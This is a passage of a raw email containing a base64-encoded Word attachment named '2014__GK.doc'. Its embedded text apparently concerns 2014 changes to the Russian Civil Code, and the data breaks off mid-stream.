------=_NextPart_001_19A1_01CF217A.F32B1F50-- ------=_NextPart_000_19A0_01CF217A.F32B1F50 Content-Type: application/msword; name="2014__GK.doc" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="2014__GK.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAABAAAAUwAAAAAAAAAA EAAAVQAAAAEAAAD+////AAAAAFIAAAD///////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAX8AZBAAA8BK/AAAAAAAAEAAAAAAACAAA2jUAAA4AYmpiagAVABUAAAAAAAAAAAAAAAAAAAAA AAAZBBYANEgAAGJ/AABifwAAtw0AAAAAAAAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAADgIAAAAAAAAOAgAAIAV AAAAAAAAgBUAAAAAAACAFQAAAAAAAIAVAAAAAAAAgBUAABQAAAAAAAAAAAAAAP////8AAAAAlBUA AAAAAACUFQAAAAAAAJQVAAA4AAAAzBUAAHwAAABIFgAAHAAAAJQVAAAAAAAANTMAANoBAABkFgAA AAAAAGQWAAAAAAAAZBYAAAAAAABkFgAAAAAAAGQWAAAAAAAAUxcAAAAAAABTFwAAAAAAAFMXAAAA AAAAkDIAAAIAAACSMgAAAAAAAJIyAAAAAAAAkjIAAAAAAACSMgAAAAAAAJIyAAAAAAAAkjIAACQA AAAPNQAAsgIAAME3AABQAAAAtjIAADkAAAAAAAAAAAAAAAAAAAAAAAAAgBUAAAAAAABTFwAAAAAA AAAAAAAAAAAAAAAAAAAAAABTFwAAAAAAAFMXAAAAAAAAUxcAAAAAAABTFwAAAAAAALYyAAAAAAAA AAAAAAAAAACAFQAAAAAAAIAVAAAAAAAAZBYAAAAAAAAAAAAAAAAAAGQWAADvAAAA7zIAABYAAACL GAAAAAAAAIsYAAAAAAAAixgAAAAAAABTFwAAggAAAIAVAAAAAAAAZBYAAAAAAACAFQAAAAAAAGQW AAAAAAAAkDIAAAAAAAAAAAAAAAAAAIsYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAUxcAAAAAAACQMgAAAAAAAAAAAAAAAAAAixgAAAAAAACLGAAA /gAAAJgwAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyDEAAAAAAABkFgAAAAAAAP////8AAAAAYHv3e18h zwEAAAAAAAAAAP////8AAAAA1RcAAFIAAABQMQAAGAAAAAAAAAAAAAAAfDIAABQAAAAFMwAAMAAA ADUzAAAAAAAAaDEAAGAAAAAROAAAAAAAACcYAABkAAAAETgAADAAAADIMQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADI MQAAEAAAABE4AAAAAAAAAAAAAAAAAACAFQAAAAAAANgxAACkAAAAUxcAAAAAAABTFwAAAAAAAIsY AAAAAAAAUxcAAAAAAABTFwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUxcA AAAAAABTFwAAAAAAAFMXAAAAAAAAtjIAAAAAAAC2MgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAixgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFMXAAAA AAAAUxcAAAAAAABTFwAAAAAAADUzAAAAAAAAUxcAAAAAAABTFwAAAAAAAFMXAAAAAAAAUxcAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAABE4AAAAAAAAUxcAAAAAAABT FwAAAAAAAFMXAAAAAAAAUxcAAAAAAABTFwAAAAAAAFMXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABTFwAAAAAAAFMXAAAAAAAAUxcA AAAAAAA4CAAADgwAAEYUAAA6AQAABQASAQAAGQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0AIQQ1 BDwEOAQ9BDAEQAQNAA0AGAQ3BDwENQQ9BDUEPQQ4BE8EIAATBEAEMAQ2BDQEMAQ9BEEEOgQ+BDME PgQgADoEPgQ0BDUEOgRBBDAEIAAgBCQEIAAyADAAMQA0AC4AIAAdBD4EMgQ1BDsEOwRLBCAAEwRA BDAENgQ0BDAEPQRBBDoEPgQzBD4EIAAaBD4ENAQ1BDoEQQQwBCwAIAA0BDAEOwRMBD0ENQQ5BEgE OAQ1BCAAOAQ3BDwENQQ9BDUEPQQ4BE8EIAAyBCAAMgAwADEANAAgADMELgAgABoEPgRABD8EPgRA BDAEQgQ4BDIEPQQ+BDUEIAA/BEAEMAQyBD4ELgAgAB4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQgAD4E RAQ+BEAEPAQ7BDUEPQQ4BE8EIAA/BEAEMAQyBCAAPQQwBCAAPQQ1BDQEMgQ4BDYEOAQ8BD4ENQQg ADgEPARDBEkENQRBBEIEMgQ+BA0ADQAYBDcEPAQ1BD0ENQQ9BDgETwQgADIEIAAyBDUESQQ9BD4E PAQgAD8EQAQwBDIENQQuACAAHwRABDAEMgQ+BCAANwQwBEEEQgRABD4EOQQ6BDgELgAgAB8EQAQw BDIEPgQgAEEEPgQxBEEEQgQyBDUEPQQ9BD4EQQRCBDgELgAgAB4EQgQ6BDAENwQgAD4EQgQgAD8E QAQwBDIEMAQgAEUEPgQ3BE8EOQRBBEIEMgQ1BD0EPQQ+BDMEPgQgADIENQQ0BDUEPQQ4BE8ELgAg AB8EQAQwBDIEPgQgAD4EPwQ1BEAEMARCBDgEMgQ9BD4EMwQ+BCAAQwQ/BEAEMAQyBDsENQQ9BDgE TwQuACAAIQQ1BEAEMgQ4BEIEQwRCBEsELgAgABIEOwQwBDQENQQ9BDgENQQgADgEIAA1BDMEPgQg ADcEMARJBDgEQgQwBC4AIAAdBD4EMgQ1BDsEOwRLBCAAMgQ1BEkEPQRLBEUEIAA/BEAEMAQyBCAA PQQwBCAAPgQxBEoENQQ6BEIESwQgAD0ENQQ0BDIEOAQ2BDgEPAQ+BEEEQgQ4BC4ADQANAB0EPgQy BD4ENQQgADIEIAA+BDEENQRBBD8ENQRHBDUEPQQ4BDgEIAA4BEEEPwQ+BDsEPQQ1BD0EOARPBCAA PgQxBE8ENwQwBEIENQQ7BEwEQQRCBDIELgANAB8EPgQ9BE8EQgQ4BE8EIAAwBDsETARCBDUEQAQ9 BDAEQgQ4BDIEPQQ+BDMEPgQsACAARAQwBDoEQwQ7BEwEQgQwBEIEOAQyBD0EPgQzBD4ELAAgAD0E MARCBEMEQAQwBDsETAQ9BD4EMwQ+BCAAPgQxBE8ENwQwBEIENQQ7BEwEQQRCBDIEMAQuACAAGARB BD8EPgQ7BD0ENQQ9BDgENQQgAD4EMQRPBDcEMARCBDUEOwRMBEEEQgQyBDAEIABCBEAENQRCBEwE OAQ8BCAAOwQ4BEYEPgQ8BC4AIAAdBD4EMgQ+BDUEIAAyBCAANwQwBDoELQAyBDUEIAA+BCAANwQw BDsEPgQzBDUEIAA4BCAAOAQ/BD4EQgQ1BDoENQQ6ACAAPQQ1BDcEMAQyBDgEQQQ4BDwEMARPBCAA MwQwBEAEMAQ9BEIEOARPBCAAOgQwBDoEIABBBD8EPgRBBD4EMQQgAD4EMQQ1BEEEPwQ1BEcENQQ9 BDgETwQgADgEQQQ/BD4EOwQ9BDUEPQQ4BE8EIAA+BDEETwQ3BDAEQgQ1BDsETARBBEIEMgQuACAA HgQxBDUEQQQ/BDUERwQ4BEIENQQ7BEwEPQRLBDkEIAA/BDsEMARCBDUENgQuACAAEgQ+BDcEPAQ1 BEkENQQ9BDgENQQgAD8EPgRCBDUEQARMBCwAIAAyBD4ENwQ9BDgEOgRIBDgERQQgADIEIABBBDIE TwQ3BDgEIABBBCAAOARBBD8EPgQ7BD0ENQQ9BDgENQQ8BCwAIAA4BDcEPAQ1BD0ENQQ9BDgENQQ8 BCAAOAQ7BDgEIAA/BEAENQQ6BEAEMARJBDUEPQQ4BDUEPAQgAD4EMQRPBDcEMARCBDUEOwRMBEEE QgQyBDAELgAgABIEPgQ3BDwENQRJBDUEPQQ4BDUEIAA/BD4EQgQ1BEAETAQsACAAPQQ1BCAAQQQy BE8ENwQwBD0EPQRLBEUEIABBBCAAPQQwBEAEQwRIBDUEPQQ4BDUEPAQgAD4EMQRPBDcEMARCBDUE OwRMBEEEQgQyBDAEIAA0BD4EOwQ2BD0EOAQ6BD4EPAQuACAAHgRBBD4EMQQ1BD0EPQQ+BEEEQgQ4 BCAAQAQwBDcEOwQ4BEcEPQRLBEUEIABBBD8EPgRBBD4EMQQ+BDIEIAA+BDEENQRBBD8ENQRHBDUE PQQ4BE8EIAA4BEEEPwQ+BDsEPQQ1BD0EOARPBCAAPgQxBE8ENwQwBEIENQQ7BEwEQQRCBDIELgAg AB8EQAQ1BDoEQAQwBEkENQQ9BDgENQQgAD4EMQRPBDcEMARCBDUEOwRMBEEEQgQyBC4ADQANABgE NwQ8BDUEPQQ1BD0EOARPBCAAMgQgAEAENQQzBEMEOwQ4BEAEPgQyBDAEPQQ4BDgEIAAzBEAEMAQ2 BDQEMAQ9BEEEOgQ4BEUEIAA/BEAEMAQyBD4EPgRCBD0EPgRIBDUEPQQ4BDkEIAAyBCAAQQREBDUE QAQ1BCAAPQQ1BDQEMgQ4BDYEOAQ8BD4EQQRCBDgEOgANAB8EQAQwBDIEPgQgAEEEPgQxBEEEQgQy BDUEPQQ9BD4EQQRCBDgEIAA9BDAEIAA3BDUEPAQ1BDsETAQ9BEsENQQgAEMERwQwBEEEQgQ6BDgE LgAgACEEPgRBBDUENARBBDoEOAQ1BCAAPwRABDAEMgQwBC4AIAAfBEAEMAQyBD4EIAA/BD4EQQRC BD4ETwQ9BD0EPgQzBD4EIAA3BDUEPAQ7BDUEMgQ7BDAENAQ1BD0EOARPBA0AHwRABDAEMgQ+BCAA NwQwBEEEQgRABD4EOQQ6BDgEIAA3BDUEPAQ1BDsETAQ9BD4EMwQ+BCAAQwRHBDAEQQRCBDoEMAQN AB8EQAQwBDIEPgQgAD8EQAQ4BD4EMQRABDUEQgQ1BD0EOARPBCAARwRDBDYEPgQ5BCAAPQQ1BDQE MgQ4BDYEOAQ8BD4EOQQgADIENQRJBDgELgAgAB8EQAQwBDIEPgQgADIENQRJBD0EPgQ5BCAAMgRL BDQEMARHBDgEIAA4BCAAQAQ1BD0EQgQwBC4AIAAfBEAEMAQyBD4EIAA+BD8ENQRABDAEQgQ4BDIE PQQ+BDMEPgQgAEMEPwRABDAEMgQ7BDUEPQQ4BE8EIAA9BDUENAQyBDgENgQ4BDwEPgRBBEIETARO BA0AHwRABDAEMgQ+BCAAQQQ+BDEEQQRCBDIENQQ9BD0EPgRBBEIEOAQgAD0EMAQgADcENAQwBD0E OARPBCAAOAQgAEEEPgQ+BEAEQwQ2BDUEPQQ4BE8ELAAgAD0EMAQgAD8EPgQ8BDUESQQ1BD0EOARP BCwAIAA9BDAEIAA+BDEESgQ1BDoEQgQgAD0ENQQ3BDAEMgQ1BEAESAQ1BD0EPQQ+BDMEPgQgAEEE QgRABD4EOARCBDUEOwRMBEEEQgQyBDAELgAgAB8EQAQ4BD4EMQRABDUEQgQ1BD0EOAQ1BCAAPwRA BDAEMgQwBCAAQQQ+BDEEQQRCBDIENQQ9BD0EPgRBBEIEOAQgAD0EMAQgAEEEMAQ8BD4EMgQ+BDsE TAQ9BEMETgQgAD8EPgRBBEIEQAQ+BDkEOgRDBA0AFAQ+BD8EPgQ7BD0EOARCBDUEOwRMBD0ESwQ1 BCAAPgQxBEAENQQ8BDUEPQQ1BD0EOARPBCAAPQQ1BDQEMgQ4BDYEOAQ8BD4EQQRCBDgELgAgAA0A EwQ+BEEEQwQ0BDAEQARBBEIEMgQ1BD0EPQQwBE8EIABABDUEMwQ4BEEEQgRABDAERgQ4BE8EIAA/ BEAEMAQyBCAAPQQwBCAAPQQ1BDQEMgQ4BDYEOAQ8BD4EQQRCBEwELgANACIENQQ9BDQENQQ9BEYE OAQ4BCAAOAQ3BDwENQQ9BDUEPQQ4BDkEIAAzBEAEMAQ2BDQEMAQ9BEEEOgQ+BDMEPgQgADcEMAQ6 BD4EPQQ+BDQEMARCBDUEOwRMBEEEQgQyBDAELgAgAB4EMQQ3BD4EQAQgADcEMAQ6BD4EPQQ+BD8E QAQ+BDUEOgRCBD4EMgQsACAAPgQgADIEPQQ1BEEENQQ9BDgEOAQgADgENwQ8BDUEPQQ1BD0EOAQ5 BCAAMgQgADQEQARDBDMEOAQ1BCAAQAQwBDcENAQ1BDsESwQgABMEGgQgACAEJAQuAA0ADQAaBDsE TgRHBDUEMgRLBDUEIAA4BDcEPAQ1BD0ENQQ9BDgETwQgABMEQAQwBDYENAQwBD0EQQQ6BD4EMwQ+ BCAAOgQ+BDQENQQ6BEEEMAQgACAEJAQgADIEIAAyADAAMQA0ACAAMwQuACAAHQQ+BDIESwQ5BCAA PwQ+BDQERQQ+BDQEIAA6BCAAPgQxBEoENQQ6BEIEMAQ8BCAAMwRABDAENgQ0BDAEPQRBBDoEOARF BCAAPwRABDAEMgQuAA0AFAQ+BDEEQAQ+BEEEPgQyBDUEQQRCBD0EPgRBBEIETAQgADQENQQ5BEEE QgQyBDgEOQQgAEMERwQwBEEEQgQ9BDgEOgQ+BDIEIAAzBEAEMAQ2BDQELgAgAD4EMQQ+BEAEPgRC BDAEOgAgADIEPgQ3BDwEPgQ2BD0ESwQ1BCAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAIIAAAQCAAA EggAABQIAAAgCAAAJggAACgIAABACAAAQggAAFAIAABSCAAAVggAAGAIAABkCAAAcggAAHQIAACM CAAAjggAAJwIAACgCAAAtAgAALYIAADICAAAyggAAMwIAADYCAAA2ggAAN4IAAD4CAAA+ggAAAQJ AAAICQAAHgkAACAJAAA0CQAANgkAAD4JAABACQAARAkAAEYJAABaCQAAXAkAAG4JAABwCQAAcgkA APHfzfG6p5SnlKeUp5SBuoG6gbqBuoG6gbqBuoG6gbqBuoG6gbqBuoG6gbqB8QAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAJBVo5RCKABZocj2AAENKIABPSgMAUEoEAFFKAwBeSgIAYUogAAAk FWjlEIoAFmgfafQAQ0ogAE9KAwBQSgQAUUoDAF5KAgBhSiAAACQVaOUQigAWaB9p9ABDSiAAT0oA AFBKBABRSgAAXkoAAGFKIAAAJBVo5RCKABZocj2AAENKIABPSgAAUEoEAFFKAABeSgAAYUogAAAi FWjlEIoAFmhyPYAANQiBPioBT0oDAFBKBABRSgMAXkoCAAAiFWjlEIoAFmhyPYAANQiBPioBT0oA AFBKBABRSgAAXkoAAAAcFWjlEIoAFmhyPYAAT0oDAFBKBABRSgMAXkoCAC0ACAAAAggAABIIAAAU CAAAcAkAAHIJAAAcCwAAHgsAAHgLAABaDwAAXA8AAPIPAACoEAAA7hAAANQRAAAMEwAAYBMAAMQT AACwFAAA9QAAAAAAAAAAAAAAAPUAAAAAAAAAAAAAAAD1AAAAAAAAAAAAAAAA9QAAAAAAAAAAAAAA APUAAAAAAAAAAAAAAADYAAAAAAAAAAAAAAAAxwAAAAAAAAAAAAAAANgAAAAAAAAAAAAAAAC6AAAA AAAAAAAAAAAAugAAAAAAAAAAAAAAANgAAAAAAAAAAAAAAAC6AAAAAAAAAAAAAAAAugAAAAAAAAAA AAAAALoAAAAAAAAAAAAAAAC6AAAAAAAAAAAAAAAAugAAAAAAAAAAAAAAALoAAAAAAAAAAAAAAACb AAAAAAAAAAAAAAAAHw8AAyQDCiYAC0YIAA3GBwHQAgEAAAYPhAAAEYQAABOkAAAUpAAAWyQAXCQA XoQAAGCEAABhJANnZOUQigAADAAAAyQDEmTwAAEAFKQAAGEkA2dk5RCKAAAQEAADJAMPhAAAEmTw AAEAFKQAAF6EAABhJANnZOUQigAdEAADJAMKJgALRggADcYHAdACAQAABg+EAAARhAAAEmTwAAEA FKQAAF6EAABghAAAYSQDZ2TlEIoAAAkAABJk8AABABSkAABnZCNCtwAAEnIJAACECQAAhgkAAIgJ AACKCQAAlgkAAJgJAACiCQAApgkAALAJAACyCQAAxAkAAMgJAADSCQAA1AkAAO4JAADyCQAA/AkA AP4JAAACCgAABAoAAA4KAAAQCgAALAoAAC4KAAA8CgAAQAoAAEoKAABMCgAAZAoAAGYKAAB6CgAA fgoAAJAKAACUCgAApAoAAKYKAACoCgAAqgoAALAKAACyCgAAvgoAAMIKAADQCgAA0goAAN4KAADg CgAA6AoAAOoKAADuCgAA8AoAAP4KAAAACwAAGAsAAB4LAAAoCwAAKgsAACwLAAAuCwAARAsAAEYL AABaCwAAXAsAAOHD4cPhw+HDsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2w nbCdsJ2wneHD4cPhw+HDJBVo5RCKABZo5RCKAE9KAwBQSgQAUUoDAF5KAgBuSBkEdEgZBAAkFWjl EIoAFmjlEIoAT0oAAFBKBABRSgAAXkoAAG5IGQR0SBkEADsVaOUQigAWaOUQigA1CIFPSgMAUEoE AFFKAwBcCIFeSgIAZWgAAABAbkgZBHLKCAAAAP8AAEAAdEgZBDsVaOUQigAWaOUQigA1CIFPSgAA UEoEAFFKAABcCIFeSgAAZWgAAABAbkgZBHLKCAAAAP8AAEAAdEgZBAA+XAsAAHQLAAB2CwAAeAsA AIYLAACICwAApgsAAKoLAADICwAAzAsAAOQLAADmCwAAAAwAAAQMAAAYDAAAGgwAADQMAAA2DAAA RAwAAEYMAABQDAAAVAwAAF4MAABgDAAAYgwAAGQMAABqDAAAbAwAAHAMAAByDAAAdAwAAHYMAACC DAAAhAwAAIYMAACIDAAAlgwAAJoMAACwDAAAsgwAAMIMAADEDAAAygwAAMwMAADYDAAA2gwAAPAM AADyDAAABg0AAAgNAAAgDQAAJA0AAEINAABEDQAAUA0AAFQNAABoDQAAag0AAHYNAAB6DQAAjA0A AI4NAACQDQAA4cOwnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCdsJ2wnbCd sJ2wnbCdsJ2wnbCdsJ0kFWjlEIoAFmjlEIoAT0oAAFBKBABRSgAAXkoAAG5IGQR0SBkEACQVaOUQ igAWaOUQigBPSgMAUEoEAFFKAwBeSgIAbkgZBHRIGQQAOxVo5RCKABZo5RCKADUIgU9KAwBQSgQA UUoDAFwIgV5KAgBlaAAAAEBuSBkEcsoIAAAA/wAAQAB0SBkEOxVo5RCKABZo5RCKADUIgU9KAABQ SgQAUUoAAFwIgV5KAABlaAAAAEBuSBkEcsoIAAAA/wAAQAB0SBkEAD6QDQAAkg0AAJwNAACeDQAA oA0AAKINAAC4DQAAvA0AANANAADSDQAA2A0AANoNAADyDQAA9A0AAA4OAAASDgAAJg4AACgOAAA0 DgAAOA4AADwOAAA+DgAAUA4AAFIOAABUDgAAVg4AAGoOAABsDgAAhg4AAIgOAACaDgAAng4AALQO AAC2DgAAyA4AAMoOAADaDgAA3A4AAPIOAAD0DgAACA8AAAoPAAAiDwAAJg8AADwPAAA+DwAAVg8A AFwPAABuDwAAcA8AAHIPAAB0DwAAjg8AAJAPAACmDwAAqA8AAMQPAADGDwAAyA8AAMoPAADUDwAA 1g8AAO4PAADyDwAA/A8AAP4PAAAYEAAAGhAAAB4QAADt2u3a7drt2u3a7drt2u3a7drt2u3a7drt 2u3a7drt2u3a7drt2u3a7drt2u3a7cSuxK7ErsSuxK7ErsSuxK7a7drt2gAAAAAqFWjlEIoAFmjl EIoANQiBT0oDAFBKBABRSgMAXAiBXkoCAG5IGQR0SBkEACoVaOUQigAWaOUQigA1CIFPSgAAUEoE AFFKAABcCIFeSgAAbkgZBHRIGQQAJBVo5RCKABZo5RCKAE9KAABQSgQAUUoAAF5KAABuSBkEdEgZ BAAkFWjlEIoAFmjlEIoAT0oDAFBKBABRSgMAXkoCAG5IGQR0SBkERB4QAAAgEAAAMhAAADQQAABC EAAARhAAAFgQAABaEAAAZBAAAGgQAAByEAAAdBAAAIoQAACMEAAAphAAAKgQAACyEAAAtBAAAMYQ AADIEAAA3BAAAN4QAADsEAAA7hAAAPgQAAD6EAAAEhEAABQRAAAeEQAAIBEAADQRAAA2EQAAPhEA AEIRAABMEQAAThEAAFoRAABcEQAAaBEAAGoRAABsEQAAbhEAAHgRAAB8EQAAhhEAAIgRAACgEQAA ohEAALYRAAC4EQAA0hEAANQRAADeEQAA4BEAAPoRAAD8EQAAABIAAAISAAAOEgAAEBIAABISAAAU EgAAKBIAACwSAAAwEgAAMhIAAEQSAABIEgAATBIAAE4SAABaEgAAXBIAAHgSAAB6EgAAlBIAAJgS AACwEgAAshIAALwSAAC+EgAA2BIAANoSAADeEgAA4BIAAPYSAAD4EgAAChMAAO3a7drt2u3a7drt 2u3a7drt2u3a7drt2u3a7drt2u3a7drt2u3a7drt2u3a7drt2u3a7drt2u3a7drt2u3a7drt2u3a 7drt2u3a7drt2u3a7drt2u3aAAAkFWjlEIoAFmjlEIoAT0oAAFBKBABRSgAAXkoAAG5IGQR0SBkE ACQVaOUQigAWaOUQigBPSgMAUEoEAFFKAwBeSgIAbkgZBHRIGQRWChMAAAwTAAAoEwAAKhMAAEAT AABCEwAAWhMAAGATAAB+EwAAgBMAAJYTAACYEwAAoBMAAKITAACmEwAAqBMAAMATAADEEwAA1hMA ANgTAADqEwAA7BMAAAQUAAAGFAAAJhQAACoUAAA0FAAANhQAAFIUAABWFAAAWBQAAFoUAABqFAAA bBQAAH4UAACAFAAAghQAAIQUAACQFAAAkhQAAKAUAACiFAAAphQAAKgUAACsFAAAshQAAMIUAADE FAAA1BQAANYUAADt2u3a7drt2u3a7drt2u3a7cq0yrTKtMq0yrTKtMq0yrTKtMq0yrTKtMq0yrSi kKJ+AAAAIhVo5RCKABZoH2n0ADUIgU9KAABQSgQAUUoAAFwIgV5KAAAAIhVo5RCKABZocj2AADUI gU9KAwBQSgQAUUoDAFwIgV5KAgAAIhVo5RCKABZocj2AADUIgU9KAABQSgQAUUoAAFwIgV5KAAAA KhVo5RCKABZo5RCKADUIgUNKFgBPSgMAUEoEAFFKAwBcCIFeSgIAYUoWAAAeFWjlEIoAFmjlEIoA NQiBQ0oWAFBKBABcCIFhShYAACQVaOUQigAWaOUQigBPSgAAUEoEAFFKAABeSgAAbkgZBHRIGQQA JBVo5RCKABZo5RCKAE9KAwBQSgQAUUoDAF5KAgBuSBkEdEgZBDGwFAAAshQAAHAVAAD8KwAA/isA AGgwAABqMAAAfDUAAH41AACANQAAhDUAAIY1AACKNQAAjDUAAJA1AADwAAAAAAAAAAAAAAAA2AAA AAAAAAAAAAAAAMcAAAAAAAAAAAAAAADHAAAAAAAAAAAAAAAAqgAAAAAAAAAAAAAAAJkAAAAAAAAA AAAAAACqAAAAAAAAAAAAAAAAigAAAAAAAAAAAAAAAIoAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAA fgAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAB+AAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAQAAAAkAABJk8AABABSkAABnZB9MLwAADg8AAyQDE6QAABSkAABbJABcJABhJANnZN0v jgAAEBAAAyQDD4QAABJk8AABABSkAABehAAAYSQDZ2TlEIoAHRAAAyQDCiYAC0YIAA3GBwHQAgEA AAYPhAAAEYQAABJk8AABABSkAABehAAAYIQAAGEkA2dk3S+OAAAQEAADJAMPhAAAEmTwAAEAFKQA AF6EAABhJANnZN0vjgAYEAADJAMKJgALRggAD4QAABGEAAASZPAAAQAUpAAAXoQAAGCEAABhJANn ZN0vjgAADg8AAyQDE6QAABSkAABbJABcJABhJANnZOUQigAADtYUAADYFAAA8BQAAPIUAAAAFQAA AhUAAAYVAAAIFQAAChUAABQVAAAWFQAAGBUAABwVAAAmFQAAKBUAADQVAAA2FQAAOBUAADoVAABK FQAATBUAAGIVAABkFQAAbBUAAG4VAABwFQAAkBUAAJIVAACiFQAApBUAALgVAAC6FQAAxBUAAMgV AADWFQAA2hUAAOwVAADuFQAAACgAABYoAAAaKAAAKCgAACooAAA2KAAAOCgAAO7c7tzu3O7c7sq4 yrjKuMq4yrjKuMq4yqmaqZqpmqmaqZqpmqmYmqmFcoVyAAAAACQVaOUQigAWaHI9gABPSgMAUEoE AFFKAwBeSgIAbkgZBHRIGQQAJBVo5RCKABZocj2AAE9KAABQSgQAUUoAAF5KAABuSBkEdEgZBAAD VQgBHBVo5RCKABZocj2AAE9KAABQSgQAUUoAAF5KAAAAHBVo5RCKABZocj2AAE9KAwBQSgQAUUoD AF5KAgAAIhVo5RCKABZocj2AADUIgU9KAABQSgQAUUoAAFwIgV5KAAAAIhVo5RCKABZocj2AADUI gU9KAwBQSgQAUUoDAFwIgV5KAgAAIhVo5RCKABZoH2n0ADUIgU9KAABQSgQAUUoAAFwIgV5KAAAA IhVo5RCKABZoH2n0ADUIgU9KAwBQSgQAUUoDAFwIgV5KAgAsPwQ+BEEEOwQ1BDQEQQRCBDIEOARP BC4AIAAhBD8EPgRBBD4EMQRLBCAANwQwBEkEOARCBEsEIAA/BEAEMAQyBCAAOAQgADcEOwQ+BEME PwQ+BEIEQAQ1BDEEOwQ1BD0EOAQ1BCAAPwRABDAEMgQ+BDwELgAgACEEQAQ+BDoEOAQgAD4EQQRD BEkENQRBBEIEMgQ7BDUEPQQ4BE8EIAA4BCAANwQwBEkEOARCBEsEIAAzBEAEMAQ2BDQEMAQ9BEEE OgQ4BEUEIAA/BEAEMAQyBC4AIAAfBEAENQQ0BEEEQgQwBDIEOARCBDUEOwRMBEEEQgQyBD4ELAAg ADQEPgQyBDUEQAQ1BD0EPQQ+BEEEQgRMBC4AIAAeBDEERQQ+BDQEIAA3BDAEOgQ+BD0EMAQ6ACAA PwQ+BD0ETwRCBDgENQQgADgEIAA/BEAEOAQ8BDUEPQQ1BD0EOAQ1BC4AIAAgBDUESAQ1BD0EOARP BCAAQQQ+BDEEQAQwBD0EOAQ5BCwAIAA6BDAEOgQgAE4EQAQ4BDQEOARHBDUEQQQ6BDgEOQQgAEQE MAQ6BEIELgAgAB0EPgQyBDUEOwQ7BEsEIAA/BD4EOwQ+BDYENQQ9BDgEOQQgAD4EMQQgAD4EMQRK BDUEOgRCBDUEIAAzBEAEMAQ2BDQEMAQ9BEEEOgQ4BEUEIAA/BEAEMAQyBC4AIAAhBDsEPgQ2BD0E MARPBCAAMgQ1BEkETAQgADIEIABBBD4ERwQ1BEIEMAQ9BDgEOAQgAEEEIAA/BEAEOAQ9BDAENAQ7 BDUENgQ9BD4EQQRCBE8EPAQ4BC4AIAAUBDUEOwQ4BDwEMARPBCAAMgQ1BEkETAQgACgAQwRBBDsE PgQyBD0EPgQgADQENQQ7BDgEPAQwBE8EIAA4BCAAQwRBBDsEPgQyBD0EPgQgAD0ENQQ0BDUEOwQ4 BDwEMARPBCkAIAATICAAMgQwBEAEOAQwBD0EQgRLBCAATQREBEQENQQ6BEIEOAQyBD0EPgQzBD4E IAA4BEEEPwQ+BDsETAQ3BD4EMgQwBD0EOARPBCAANAQwBD0EPQRLBEUEIAAyBDUESQQ1BDkELgAg AB4EQQQ+BDEENQQ9BD0EPgRBBEIEOAQgAEYENQQ9BD0ESwRFBCAAMQRDBDwEMAQzBCAAOgQwBDoE IAA+BDEESgQ1BDoEQgQwBCAAMwRABDAENgQ0BDAEPQRBBDoEOARFBCAAPwRABDAEMgQuACAAHQQ+ BDIENQQ7BDsESwQgADIEIAA/BEAEMAQyBD4EMgQ+BDwEIAA/BD4EOwQ+BDYENQQ9BDgEOAQgAEQE 